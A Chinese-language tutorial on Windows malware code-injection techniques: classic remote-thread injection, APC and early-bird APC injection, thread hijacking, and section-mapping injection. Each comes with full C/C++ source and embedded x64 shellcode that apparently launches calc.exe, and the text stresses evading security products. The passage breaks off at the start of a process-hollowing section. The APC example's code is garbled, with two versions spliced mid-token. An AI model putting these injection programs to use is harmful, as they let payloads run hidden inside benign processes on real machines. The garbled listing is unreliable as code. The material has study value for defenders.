Skip to main content

代码注入与进程操纵

代码注入是一项恶意软件的常见技术,将恶意代码,如 shellcode,乃至 PE 文件,输入到目标进程,实现提高稳定性以及寄居在看起来良性的进程之中以规避检测。

代码注入的方法有很多,有着各自的优缺点,以及所需的 API 组合,我们接下来一起看看。


经典进程注入

首先我们要说的是经典的进程注入。步骤有以下这些:

根据我们需要,通过 PID 或者进程名来指定要注入的进程,我们需要用到 CreateToolhelp32Snapshot 函数创建进程列表的快照。

HANDLE CreateToolhelp32Snapshot(
  [in] DWORD dwFlags,
  [in] DWORD th32ProcessID
);

配合 Process32First 逐个进程枚举,以找到进程名匹配的并返回 PID。

BOOL Process32First(
  [in]      HANDLE           hSnapshot,
  [in, out] LPPROCESSENTRY32 lppe
);

通过 OpenProcess 获得指定进程的句柄,用 VirtualAllocEx 为远程进程分配空间。

HANDLE OpenProcess(
  [in] DWORD dwDesiredAccess,
  [in] BOOL  bInheritHandle,
  [in] DWORD dwProcessId
);
LPVOID VirtualAllocEx(
  [in]           HANDLE hProcess,
  [in, optional] LPVOID lpAddress,
  [in]           SIZE_T dwSize,
  [in]           DWORD  flAllocationType,
  [in]           DWORD  flProtect
);

接着,使用 WriteProcessMemory 为分配的空间写入 shellcode。

BOOL WriteProcessMemory(
  [in]  HANDLE  hProcess,
  [in]  LPVOID  lpBaseAddress,
  [in]  LPCVOID lpBuffer,
  [in]  SIZE_T  nSize,
  [out] SIZE_T  *lpNumberOfBytesWritten
);

之后,使用 CreateRemoteThread 函数创建远程的线程,并释放对进程的句柄。

HANDLE CreateRemoteThread(
  [in]  HANDLE                 hProcess,
  [in]  LPSECURITY_ATTRIBUTES  lpThreadAttributes,
  [in]  SIZE_T                 dwStackSize,
  [in]  LPTHREAD_START_ROUTINE lpStartAddress,
  [in]  LPVOID                 lpParameter,
  [in]  DWORD                  dwCreationFlags,
  [out] LPDWORD                lpThreadId
);
BOOL CloseHandle(
  [in] HANDLE hObject
);

样板代码如下:

#include "Windows.h"
#include <stdio.h>
#include <TlHelp32.h>

unsigned char shellcode[] = "\x48\x31\xd2\x65\x48\x8b\x42\x60\x48\x8b\x70\x18\x48\x8b\x76\x20\x4c\x8b\x0e\x4d\x8b\x09\x4d\x8b\x49\x20\xeb\x63\x41\x8b\x49\x3c\x4d\x31\xff\x41\xb7\x88\x4d\x01\xcf\x49\x01\xcf\x45\x8b\x3f\x4d\x01\xcf\x41\x8b\x4f\x18\x45\x8b\x77\x20\x4d\x01\xce\xe3\x3f\xff\xc9\x48\x31\xf6\x41\x8b\x34\x8e\x4c\x01\xce\x48\x31\xc0\x48\x31\xd2\xfc\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb\xf4\x44\x39\xc2\x75\xda\x45\x8b\x57\x24\x4d\x01\xca\x41\x0f\xb7\x0c\x4a\x45\x8b\x5f\x1c\x4d\x01\xcb\x41\x8b\x04\x8b\x4c\x01\xc8\xc3\xc3\x41\xb8\x98\xfe\x8a\x0e\xe8\x92\xff\xff\xff\x48\x31\xc9\x51\x48\xb9\x63\x61\x6c\x63\x2e\x65\x78\x65\x51\x48\x8d\x0c\x24\x48\x31\xd2\x48\xff\xc2\x48\x83\xec\x28\xff\xd0";

int main() {
    HANDLE processHandle;
    HANDLE remoteThread;
    HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS | TH32CS_SNAPTHREAD, 0);
    if (snapshot == INVALID_HANDLE_VALUE) {
        printf("Failed to create snapshot. Error: %lu\n", GetLastError());
        return 1;
    }

    PROCESSENTRY32 processEntry = { sizeof(PROCESSENTRY32) };
    if (!Process32First(snapshot, &processEntry)) {
        printf("Process32First failed. Error: %lu\n", GetLastError());
        return 1;
    }

    BOOL processFound = FALSE;
    while (TRUE) {
        if (_wcsicmp(processEntry.szExeFile, L"mspaint.exe") == 0) {
            processFound = TRUE;
            break;
        }
        if (!Process32Next(snapshot, &processEntry)) {
            if (GetLastError() != ERROR_NO_MORE_FILES) {
                printf("Process32Next failed. Error: %lu\n", GetLastError());
            }
            break;
        }
    }

    if (!processFound) {
        printf("Target process not found.\n");
        return 1;
    }

    processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, processEntry.th32ProcessID);
    if (processHandle == NULL) {
        printf("Failed to open target process. Error: %lu\n", GetLastError());
        return 1;
    }

    PVOID remoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof(shellcode), (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
    if (remoteBuffer == NULL) {
        printf("VirtualAllocEx failed. Error: %lu\n", GetLastError());
        return 1;
    }

    SIZE_T bytesWritten;
    if (!WriteProcessMemory(processHandle, remoteBuffer, shellcode, sizeof(shellcode), &bytesWritten)) {
        printf("WriteProcessMemory failed. Error: %lu\n", GetLastError());
        return 1;
    }

    remoteThread = CreateRemoteThread(processHandle, NULL, 0, (LPTHREAD_START_ROUTINE)remoteBuffer, NULL, 0, NULL);
    if (remoteThread == NULL) {
        printf("CreateRemoteThread failed. Error: %lu\n", GetLastError());
        return 1;
    }

    printf("Injection successful.\n");
    return 0;
}

运行结果:

image.png


APC 队列注入

异步过程调用 (APC) 是 Windows 操作系统提供的一种机制,允许程序异步执行任务,从而促进程序内的并发操作。 它们在特定线程的上下文中作为内核模式例程执行,从而实现任务执行与主程序流的分离。这种机制对于需要执行后台任务同时继续其他操作的程序特别有用。

进程中的每个线程都有自己的 APC 队列,其中可以存储 APC,等待执行。应用程序可以利用 QueueUserAPC 函数将 APC 排队到特定线程,需要将 APC 函数的地址作为参数传递。该函数允许调用者指定 APC 应该排队的线程。

DWORD QueueUserAPC(
  [in] PAPCFUNC  pfnAPC,
  [in] HANDLE    hThread,
  [in] ULONG_PTR dwData
);

然而,并非所有线程都能够立即执行排队的 APC。 只有处于可警报状态(一种特殊的等待状态) 的线程才能处理排队的 APC 函数。当线程进入可警报状态时,它会被添加到可警报线程队列中,使其有资格运行 APC。

APC 注入是一种利用此机制的进程注入技术,它涉及对 APC 进行排队,以便在另一个线程的上下文中异步执行载荷。为了实现这一点,注入的 shellcode 的地址被传递给 QueueUserAPC 函数,目的是当线程进入可警报状态时执行它,例如当它处于睡眠模式或等待事件时(如使用 SleepEx)。

使用此注入技术的限制之一是攻击者无法直接强制目标线程立即执行注入的代码。APC 注入的成功取决于目标线程进入可警报状态,这可能需要满足特定条件或在受害者系统上执行操作。尽管存在这种限制,APC 注入仍然是在另一个进程的上下文中执行恶意代码的有效技术。

知道相关的背景知识后,我们来看一下 APC 注入所需的步骤。

  1. 给定进程名,返回第一个找到的进程的 PID,使用的是 CreateToolhelp32Snapshot 以及 Process32First 函数。
  2. 使用 OpenProcess 根据 PID 获得目标进程的句柄,调用 VirtualAllocEx 为其分配写入 shellcode 的内存空间。
  3. 让 APC 函数指向分配的空间(之后写入shellcode),使用 WriteProcessMemory 向分配的空间写入 shellcode。
  4. 使用 Thread32First 逐个枚举进程里的线程,对于每个线程,使用 OpenThread 获得句柄并调用 QueueUserAPC 将 APC 排队到线程中。
  5. 当目标进程中的线程被调度时,我们的 shellcode 就会被执行
#include "pch.h"
#include <iostreamstdio.h>
#include <Windows.windows.h>
#include <TlHelp32.h>
#include <vectorstdlib.h> 

int main() {
    unsigned char buf[shellcode[] = "\x48\x31\xd2\x65\x48\x8b\x42\x60\x48\x8b\x70\x18\x48\x8b\x76\x20\x4c\x8b\x0e\x4d\x8b\x09\x4d\x8b\x49\x20\xeb\x63\x41\x8b\x49\x3c\x4d\x31\xff\x41\xb7\x88\x4d\x01\xcf\x49\x01\xcf\x45\x8b\x3f\x4d\x01\xcf\x41\x8b\x4f\x18\x45\x8b\x77\x20\x4d\x01\xce\xe3\x3f\xff\xc9\......<SNIP>..."x48\x31\xf6\x41\x8b\x34\x8e\x4c\x01\xce\x48\x31\xc0\x48\x31\xd2\xfc\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb\xf4\x44\x39\xc2\x75\xda\x45\x8b\x57\x24\x4d\x01\xca\x41\x0f\xb7\x0c\x4a\x45\x8b\x5f\x1c\x4d\x01\xcb\x41\x8b\x04\x8b\x4c\x01\xc8\xc3\xc3\x41\xb8\x98\xfe\x8a\x0e\xe8\x92\xff\xff\xff\x48\x31\xc9\x51\x48\xb9\x63\x61\x6c\x63\x2e\x65\x78\x65\x51\x48\x8d\x0c\x24\x48\x31\xd2\x48\xff\xc2\x48\x83\xec\x28\xff\xd0";
    HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS | TH32CS_SNAPTHREAD, 0);
    if (snapshot == INVALID_HANDLE_VALUE) {
        printf("Failed to create snapshot. Error: %lu\n", GetLastError());
        return 1;
    }

    HANDLE victimProcess = NULL;
    PROCESSENTRY32 processEntry = { sizeof(PROCESSENTRY32) };
    THREADENTRY32 threadEntry = { sizeof(THREADENTRY32) };
    std::vector<DWORD> threadIds;threadIds[1024];
    int threadCount = 0;
    SIZE_T shellSize = sizeof(buf)shellcode);
    HANDLE threadHandle = NULL;

    if (Process32First(snapshot, &processEntry)) {
        while (_wcsicmp(processEntry.szExeFile, L"explorer.mspaint.exe") != 0 && Process32Next(snapshot, &processEntry));
        if (_wcsicmp(processEntry.szExeFile, L"mspaint.exe") != 0) {
            Process32Next(snapshot,printf("Failed &processEntry)to find explorer.exe.\n");
            return 1;
        }
    }

    victimProcess = OpenProcess(PROCESS_ALL_ACCESS, 0,FALSE, processEntry.th32ProcessID);
    if (!victimProcess) {
        printf("Failed to open target process. Error: %lu\n", GetLastError());
        return 1;
    }

    LPVOID shellAddress = VirtualAllocEx(victimProcess, NULL, shellSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    if (!shellAddress) {
        printf("Failed to allocate memory in target process. Error: %lu\n", GetLastError());
        return 1;
    }

    if (!WriteProcessMemory(victimProcess, shellAddress, shellcode, shellSize, NULL)) {
        printf("Failed to write shellcode to target process. Error: %lu\n", GetLastError());
        return 1;
    }

    PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)shellAddress;
	WriteProcessMemory(victimProcess, shellAddress, buf, shellSize, NULL);

    if (Thread32First(snapshot, &threadEntry)) {
        do {
            if (threadEntry.th32OwnerProcessID == processEntry.th32ProcessID) {
                threadIds.push_back(if (threadCount < 1024) {
                    threadIds[threadCount++] = threadEntry.th32ThreadID);th32ThreadID;
                }
            }
        } while (Thread32Next(snapshot, &threadEntry));
    }

    for (DWORDint threadIdi := threadIds)0; i < threadCount; i++) {
        threadHandle = OpenThread(THREAD_ALL_ACCESS, TRUE,FALSE, threadId)threadIds[i]);
        QueueUserAPC((PAPCFUNC)apcRoutine, threadHandle, NULL);
        Sleep(1000 * 2)2000); 
    }

    return 0;
}

在等待一小段时间之后,shellcode 便被执行了。

image.png



早鸟 APC 队列注入

APC 进程注入需要挂起可警报线程才能成功执行 shellcode。但是,很难遇到处于这些状态的线程,尤其是在正常用户权限下运行的线程。解决方案的话,是使用 CreateProcess 创建一个挂起的进程,并使用其挂起线程的句柄。挂起的线程满足 APC 进程注入中使用的标准。这种方法被称为早鸟 APC 队列注入。与常规 APC 队列注入技术相比,该技术的主要优点之一是,在早鸟技术中,恶意行为发生在进程初始化阶段的早期,降低了被安全产品检测的可能性。

早鸟 APC 队列注入的步骤如下:

  1. 创建一个挂起的进程,通过调用 CreateProcessA 函数并指定进程的状态为 CREATE_SUSPENDED
  2. 使用 VirtualAllocEx 为该进程分配空间
  3. 使 APC 例程指向分配的内存
  4. 通过调用 WriteProcessMemory 函数将 shellcode 写入分配的内存中
  5. 调用 QueueUserAPC 函数将 APC 排队到主线程
  6. 调用 ResumeThread 继续线程的运行,shellcode 得以执行
#include <stdio.h>
#include <windows.h>
#pragma comment(lib, "ntdll")

unsigned char shellcode[] = "\x48\x31\xd2\x65\x48\x8b\x42\x60\x48\x8b\x70\x18\x48\x8b\x76\x20\x4c\x8b\x0e\x4d\x8b\x09\x4d\x8b\x49\x20\xeb\x63\x41\x8b\x49\x3c\x4d\x31\xff\x41\xb7\x88\x4d\x01\xcf\x49\x01\xcf\x45\x8b\x3f\x4d\x01\xcf\x41\x8b\x4f\x18\x45\x8b\x77\x20\x4d\x01\xce\xe3\x3f\xff\xc9\x48\x31\xf6\x41\x8b\x34\x8e\x4c\x01\xce\x48\x31\xc0\x48\x31\xd2\xfc\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb\xf4\x44\x39\xc2\x75\xda\x45\x8b\x57\x24\x4d\x01\xca\x41\x0f\xb7\x0c\x4a\x45\x8b\x5f\x1c\x4d\x01\xcb\x41\x8b\x04\x8b\x4c\x01\xc8\xc3\xc3\x41\xb8\x98\xfe\x8a\x0e\xe8\x92\xff\xff\xff\x48\x31\xc9\x51\x48\xb9\x63\x61\x6c\x63\x2e\x65\x78\x65\x51\x48\x8d\x0c\x24\x48\x31\xd2\x48\xff\xc2\x48\x83\xec\x28\xff\xd0";

int main() {
    SIZE_T shellSize = sizeof(shellcode);
    STARTUPINFOA si = { 0 };
    PROCESS_INFORMATION pi = { 0 };

    if (!CreateProcessA("C:\\Windows\\System32\\mspaint.exe", NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi)) {
        printf("CreateProcess failed with error %lu\n", GetLastError());
        return 1;
    }

    HANDLE victimProcess = pi.hProcess;
    HANDLE threadHandle = pi.hThread;
    LPVOID shellAddress = VirtualAllocEx(victimProcess, NULL, shellSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    if (shellAddress == NULL) {
        printf("VirtualAllocEx failed with error %lu\n", GetLastError());
        return 1;
    }

    if (!WriteProcessMemory(victimProcess, shellAddress, shellcode, shellSize, NULL)) {
        printf("WriteProcessMemory failed with error %lu\n", GetLastError());
        return 1;
    }

    if (QueueUserAPC((PAPCFUNC)shellAddress, threadHandle, NULL) == 0) {
        printf("QueueUserAPC failed with error %lu\n", GetLastError());
        return 1;
    }

    if (ResumeThread(threadHandle) == (DWORD)-1) {
        printf("ResumeThread failed with error %lu\n", GetLastError());
        return 1;
    }

    printf("Shellcode injected successfully.\n");
    CloseHandle(threadHandle);
    CloseHandle(victimProcess);

    return 0;
}

这样,我们便成功执行了 shellcode:

image.png


线程劫持

进程线程劫持是一种不创建新的线程便能执行 shellcode 的代码注入技术,通过挂起线程并更新 RIP 的指向实现。这样,当线程继续执行时,指令执行流程便跳转到了 shellcode 的开头。

实现线程劫持,有如下的步骤:

  1. 指定 PID 或者进程名,并用 OpenProcess 获得目标进程的句柄
  2. 使用 VirtualAllocEx 为目标进程分配空间用于存储 shellcode
  3. 使用 WriteProcessMemory 将 shellcode 写入分配空间内
  4. 指定线程 ID,并获得其句柄。这里,我们通过 CreateToolhelp32Snapshot,Thread32First,Thread32Next 等函数获得第一个找到的线程
  5. 通过 OpenThread 获得对该线程的句柄,并调用 SuspendThread 函数挂起线程
  6. 通过 GetThreadContext 获得上下文结构体,修改 RIP 地址使其指向 shellcode
  7. 使用 SetThreadContext 更改上下文结构体,并通过 ResumeThread 继续线程的执行

除了之前我们提到过以及与之相似的 API,我们来聊一聊线程的上下文。GetThreadContext 与 SetThreadConext 分别用于获得与提交线程的上下文。线程上下文包含了线程继续执行所需的各种信息。

BOOL GetThreadContext(
  [in]      HANDLE    hThread,
  [in, out] LPCONTEXT lpContext
);

BOOL SetThreadContext(
  [in] HANDLE        hThread,
  [in] const CONTEXT *lpContext
);

上下文结构体 CONTEXT 包含了处理器特定的寄存器数据。系统使用上下文结构体来执行各种内部的操作:

typedef struct _CONTEXT {
  DWORD64 P1Home;
  DWORD64 P2Home;
  DWORD64 P3Home;
  DWORD64 P4Home;
  DWORD64 P5Home;
  DWORD64 P6Home;
  DWORD   ContextFlags;
  DWORD   MxCsr;
  WORD    SegCs;
  WORD    SegDs;
  WORD    SegEs;
  WORD    SegFs;
  WORD    SegGs;
  WORD    SegSs;
  DWORD   EFlags;
  DWORD64 Dr0;
  DWORD64 Dr1;
  DWORD64 Dr2;
  DWORD64 Dr3;
  DWORD64 Dr6;
  DWORD64 Dr7;
  DWORD64 Rax;
  DWORD64 Rcx;
  DWORD64 Rdx;
  DWORD64 Rbx;
  DWORD64 Rsp;
  DWORD64 Rbp;
  DWORD64 Rsi;
  DWORD64 Rdi;
  DWORD64 R8;
  DWORD64 R9;
  DWORD64 R10;
  DWORD64 R11;
  DWORD64 R12;
  DWORD64 R13;
  DWORD64 R14;
  DWORD64 R15;
  DWORD64 Rip;
  union {
    XMM_SAVE_AREA32 FltSave;
    NEON128         Q[16];
    ULONGLONG       D[32];
    struct {
      M128A Header[2];
      M128A Legacy[8];
      M128A Xmm0;
      M128A Xmm1;
      M128A Xmm2;
      M128A Xmm3;
      M128A Xmm4;
      M128A Xmm5;
      M128A Xmm6;
      M128A Xmm7;
      M128A Xmm8;
      M128A Xmm9;
      M128A Xmm10;
      M128A Xmm11;
      M128A Xmm12;
      M128A Xmm13;
      M128A Xmm14;
      M128A Xmm15;
    } DUMMYSTRUCTNAME;
    DWORD           S[32];
  } DUMMYUNIONNAME;
  M128A   VectorRegister[26];
  DWORD64 VectorControl;
  DWORD64 DebugControl;
  DWORD64 LastBranchToRip;
  DWORD64 LastBranchFromRip;
  DWORD64 LastExceptionToRip;
  DWORD64 LastExceptionFromRip;
} CONTEXT, *PCONTEXT;

有了这些理解,那么可以构造出如下代码:

#include <stdio.h>
#include <Windows.h>
#include <TlHelp32.h>

int main() {
    unsigned char shellcode[] = "\x48\x31\xd2\x65\x48\x8b\x42\x60\x48\x8b\x70\x18\x48\x8b\x76\x20\x4c\x8b\x0e\x4d\x8b\x09\x4d\x8b\x49\x20\xeb\x63\x41\x8b\x49\x3c\x4d\x31\xff\x41\xb7\x88\x4d\x01\xcf\x49\x01\xcf\x45\x8b\x3f\x4d\x01\xcf\x41\x8b\x4f\x18\x45\x8b\x77\x20\x4d\x01\xce\xe3\x3f\xff\xc9\x48\x31\xf6\x41\x8b\x34\x8e\x4c\x01\xce\x48\x31\xc0\x48\x31\xd2\xfc\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb\xf4\x44\x39\xc2\x75\xda\x45\x8b\x57\x24\x4d\x01\xca\x41\x0f\xb7\x0c\x4a\x45\x8b\x5f\x1c\x4d\x01\xcb\x41\x8b\x04\x8b\x4c\x01\xc8\xc3\xc3\x41\xb8\x98\xfe\x8a\x0e\xe8\x92\xff\xff\xff\x48\x31\xc9\x51\x48\xb9\x63\x61\x6c\x63\x2e\x65\x78\x65\x51\x48\x8d\x0c\x24\x48\x31\xd2\x48\xff\xc2\x48\x83\xec\x28\xff\xd0";
    HANDLE targetProcessHandle;
    PVOID remoteBuffer;
    HANDLE threadHijacked = NULL;
    HANDLE snapshot;
    PROCESSENTRY32 processEntry = { sizeof(PROCESSENTRY32) };
    THREADENTRY32 threadEntry = { sizeof(THREADENTRY32) };
    CONTEXT context;
    context.ContextFlags = CONTEXT_FULL;
    snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS | TH32CS_SNAPTHREAD, 0);
    if (snapshot == INVALID_HANDLE_VALUE) {
        printf("Failed to create snapshot. Error: %lu\n", GetLastError());
        return 1; 
    }
    if (!Process32First(snapshot, &processEntry)) {
        printf("Process32First failed. Error: %lu\n", GetLastError());
        return 1;
    }

    BOOL processFound = FALSE;
    do {
        if (_wcsicmp(processEntry.szExeFile, L"mspaint.exe") == 0) {
            processFound = TRUE;
            break;
        }
    } while (Process32Next(snapshot, &processEntry));
    if (!processFound) {
        printf("Target process not found.\n");
        return 1;
    }
    targetProcessHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, processEntry.th32ProcessID);
    if (!targetProcessHandle) {
        printf("Failed to open target process. Error: %lu\n", GetLastError());
        return 1;
    }
    remoteBuffer = VirtualAllocEx(targetProcessHandle, NULL, sizeof(shellcode), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    if (!remoteBuffer) {
        printf("VirtualAllocEx failed. Error: %lu\n", GetLastError());
        return 1;
    }
    if (!WriteProcessMemory(targetProcessHandle, remoteBuffer, shellcode, sizeof(shellcode), NULL)) {
        printf("WriteProcessMemory failed. Error: %lu\n", GetLastError());
        return 1;
    }
    if (!Thread32First(snapshot, &threadEntry)) {
        printf("Thread32First failed. Error: %lu\n", GetLastError());
        return 1;
    }

    BOOL threadFound = FALSE;
    do {
        if (threadEntry.th32OwnerProcessID == processEntry.th32ProcessID) {
            threadHijacked = OpenThread(THREAD_ALL_ACCESS, FALSE, threadEntry.th32ThreadID);
            if (threadHijacked != NULL) {
                threadFound = TRUE;
                break;
            }
        }
    } while (Thread32Next(snapshot, &threadEntry));
    if (!threadFound) {
        printf("Failed to find or open any thread in target process.\n");
        return 1;
    }
    if (SuspendThread(threadHijacked) == (DWORD)-1) {
        printf("SuspendThread failed. Error: %lu\n", GetLastError());
        return 1;
    }
    if (!GetThreadContext(threadHijacked, &context)) {
        printf("GetThreadContext failed. Error: %lu\n", GetLastError());
        return 1;
    }
    context.Rip = (DWORD_PTR)remoteBuffer;
    if (!SetThreadContext(threadHijacked, &context)) {
        printf("SetThreadContext failed. Error: %lu\n", GetLastError());
        return 1;
    }
    if (ResumeThread(threadHijacked) == (DWORD)-1) {
        printf("ResumeThread failed. Error: %lu\n", GetLastError());
        return 1;
    }

    printf("Shellcode injection and thread hijack successful.\n");
    return 0;
}

运行结果:

image.png


NtCreateSection 与 NtMapViewOfSection 代码注入

使用 NtCreateSection NtMapViewOfSection 也可以实现进程注入,这里面用到了内存区对象(section object)与视图(view) 的概念。区对象表示可以被共享的内存区,一个进程可以使用区对象与其他进程共享它的部分内存空间。区对象还提供了进程将文件映射到其内存空间的机制。

每个内存区有着一个或多个对应的视图,区的视图是对进程可见的区的一部分。为区创建视图被称为映射区的视图。每个对区的内容进行操作的进程都有着自己的视图,一个进程可以有着多个视图(对相同或不同的区)。

综上,也就是说,如果要使进程能对区进行读写操作,该进程需要为区映射一个视图。多个进程可以通过映射的视图对区进行读写。

其中,我们可以使用 NTAPI NtCreateSection 来创建一个区:

__kernel_entry NTSYSCALLAPI NTSTATUS NtCreateSection(
  [out]          PHANDLE            SectionHandle,
  [in]           ACCESS_MASK        DesiredAccess,
  [in, optional] POBJECT_ATTRIBUTES ObjectAttributes,
  [in, optional] PLARGE_INTEGER     MaximumSize,
  [in]           ULONG              SectionPageProtection,
  [in]           ULONG              AllocationAttributes,
  [in, optional] HANDLE             FileHandle
);

NtMapViewOfSection 用于映射区的指定部分至进程内存中。因为是 NTAPI,所以微软并没有对该 API 的官方文档。

NtMapViewOfSection(
    _In_ HANDLE SectionHandle,
    _In_ HANDLE ProcessHandle,
    _Inout_ _At_(*BaseAddress, _Readable_bytes_(*ViewSize) _Writable_bytes_(*ViewSize) _Post_readable_byte_size_(*ViewSize)) PVOID *BaseAddress,
    _In_ ULONG_PTR ZeroBits,
    _In_ SIZE_T CommitSize,
    _Inout_opt_ PLARGE_INTEGER SectionOffset,
    _Inout_ PSIZE_T ViewSize,
    _In_ SECTION_INHERIT InheritDisposition,
    _In_ ULONG AllocationType,
    _In_ ULONG Win32Protect
    );

了解这些概念之后,我们来了解一下该注入方式的步骤:

  1. 通过 NtCreateSection 创建RWX 权限的区
  2. 通过 NtMapViewOfSection 映射区至本地进程,赋予 RW 权限
  3. 通过 NtMapViewOfSection 映射区至目标进程,赋予 RX 权限
  4. 通过 memcpy 或类似函数将 shellcode 填入区,这样目标进程映射的视图里也是盛放着 shellcode
  5. 使用 RtlCreateUserThread 为远程进程创建线程,指向映射的视图触发 shellcode 执行
#include <stdio.h>
#include <Windows.h>
#include <TlHelp32.h>

unsigned char shellcode[] = "\x48\x31\xd2\x65\x48\x8b\x42\x60\x48\x8b\x70\x18\x48\x8b\x76\x20\x4c\x8b\x0e\x4d\x8b\x09\x4d\x8b\x49\x20\xeb\x63\x41\x8b\x49\x3c\x4d\x31\xff\x41\xb7\x88\x4d\x01\xcf\x49\x01\xcf\x45\x8b\x3f\x4d\x01\xcf\x41\x8b\x4f\x18\x45\x8b\x77\x20\x4d\x01\xce\xe3\x3f\xff\xc9\x48\x31\xf6\x41\x8b\x34\x8e\x4c\x01\xce\x48\x31\xc0\x48\x31\xd2\xfc\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb\xf4\x44\x39\xc2\x75\xda\x45\x8b\x57\x24\x4d\x01\xca\x41\x0f\xb7\x0c\x4a\x45\x8b\x5f\x1c\x4d\x01\xcb\x41\x8b\x04\x8b\x4c\x01\xc8\xc3\xc3\x41\xb8\x98\xfe\x8a\x0e\xe8\x92\xff\xff\xff\x48\x31\xc9\x51\x48\xb9\x63\x61\x6c\x63\x2e\x65\x78\x65\x51\x48\x8d\x0c\x24\x48\x31\xd2\x48\xff\xc2\x48\x83\xec\x28\xff\xd0";
typedef struct _LSA_UNICODE_STRING { USHORT Length;	USHORT MaximumLength; PWSTR  Buffer; } UNICODE_STRING, * PUNICODE_STRING;
typedef struct _OBJECT_ATTRIBUTES { ULONG Length; HANDLE RootDirectory; PUNICODE_STRING ObjectName; ULONG Attributes; PVOID SecurityDescriptor;	PVOID SecurityQualityOfService; } OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES;
typedef struct _CLIENT_ID { PVOID UniqueProcess; PVOID UniqueThread; } CLIENT_ID, * PCLIENT_ID;
using NtCreateSection = NTSTATUS(NTAPI*)(OUT PHANDLE SectionHandle, IN ULONG DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, IN PLARGE_INTEGER MaximumSize OPTIONAL, IN ULONG PageAttributess, IN ULONG SectionAttributes, IN HANDLE FileHandle OPTIONAL);
using NtMapViewOfSection = NTSTATUS(NTAPI*)(HANDLE SectionHandle, HANDLE ProcessHandle, PVOID* BaseAddress, ULONG_PTR ZeroBits, SIZE_T CommitSize, PLARGE_INTEGER SectionOffset, PSIZE_T ViewSize, DWORD InheritDisposition, ULONG AllocationType, ULONG Win32Protect);
using RtlCreateUserThread = NTSTATUS(NTAPI*)(IN HANDLE ProcessHandle, IN PSECURITY_DESCRIPTOR SecurityDescriptor OPTIONAL, IN BOOLEAN CreateSuspended, IN ULONG StackZeroBits, IN OUT PULONG StackReserved, IN OUT PULONG StackCommit, IN PVOID StartAddress, IN PVOID StartParameter OPTIONAL, OUT PHANDLE ThreadHandle, OUT PCLIENT_ID ClientID);

int main() {
    NtCreateSection pNtCreateSection = (NtCreateSection)GetProcAddress(GetModuleHandleA("ntdll"), "NtCreateSection");
    NtMapViewOfSection pNtMapViewOfSection = (NtMapViewOfSection)GetProcAddress(GetModuleHandleA("ntdll"), "NtMapViewOfSection");
    RtlCreateUserThread pRtlCreateUserThread = (RtlCreateUserThread)GetProcAddress(GetModuleHandleA("ntdll"), "RtlCreateUserThread");

    if (!pNtCreateSection || !pNtMapViewOfSection || !pRtlCreateUserThread) {
        printf("Failed to retrieve function addresses.\n");
        return 1;
    }

    SIZE_T size = 4096;
    LARGE_INTEGER sectionSize = { size };
    HANDLE sectionHandle = NULL;
    PVOID localSectionAddress = NULL, remoteSectionAddress = NULL;
    PROCESSENTRY32 processEntry = { sizeof(PROCESSENTRY32) };
    HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (snapshot == INVALID_HANDLE_VALUE) {
        printf("CreateToolhelp32Snapshot failed. Error: %lu\n", GetLastError());
        return 1;
    }

    BOOL processFound = FALSE;
    if (Process32First(snapshot, &processEntry)) {
        do {
            if (_wcsicmp(processEntry.szExeFile, L"mspaint.exe") == 0) {
                processFound = TRUE;
                break;
            }
        } while (Process32Next(snapshot, &processEntry));
    }

    if (!processFound) {
        printf("Target process not found.\n");
        return 1;
    }

    NTSTATUS status;
    status = pNtCreateSection(&sectionHandle, SECTION_MAP_READ | SECTION_MAP_WRITE | SECTION_MAP_EXECUTE, NULL, &sectionSize, PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL);
    if (status != 0) {
        printf("NtCreateSection failed. Status: 0x%x\n", status);
        return 1;
    }

    status = pNtMapViewOfSection(sectionHandle, GetCurrentProcess(), &localSectionAddress, 0, 0, NULL, &size, 2, 0, PAGE_READWRITE);
    if (status != 0) {
        printf("NtMapViewOfSection (local) failed. Status: 0x%x\n", status);
        return 1;
    }

    HANDLE targetHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, processEntry.th32ProcessID);
    if (targetHandle == NULL) {
        printf("OpenProcess failed. Error: %lu\n", GetLastError());
        return 1;
    }

    status = pNtMapViewOfSection(sectionHandle, targetHandle, &remoteSectionAddress, 0, 0, NULL, &size, 2, 0, PAGE_EXECUTE_READ);
    if (status != 0) {
        printf("NtMapViewOfSection (remote) failed. Status: 0x%x\n", status);
        return 1;
    }

    memcpy(localSectionAddress, shellcode, sizeof(shellcode));
    HANDLE targetThreadHandle = NULL;
    status = pRtlCreateUserThread(targetHandle, NULL, FALSE, 0, 0, 0, remoteSectionAddress, NULL, &targetThreadHandle, NULL);
    if (status != 0) {
        printf("RtlCreateUserThread failed. Status: 0x%x\n", status);
    }
    else {
        printf("Shellcode injected successfully.\n");
    }

    return 0;
}

运行结果:

image.png


进程注空

进程注空(Process Hollowing),也是一种代码注入技术。巧妙的是,我们不需要额外分配存放 shellcode 的内存空间,而是覆盖进程主模块的代码区域。我们之前学过 PE 结构,我们知道可执行代码存在于 .text 节,程序的入口,通常是 main 函数,即首先被执行。倘若我们用 shellcode 覆盖程序入口开始的代码,那么便可披着良性进程的外衣,实际却在执行 shellcode。

这项技术的步骤如下:

  1. 调用 CreateProcessA 以挂起状态创建一个新的进程
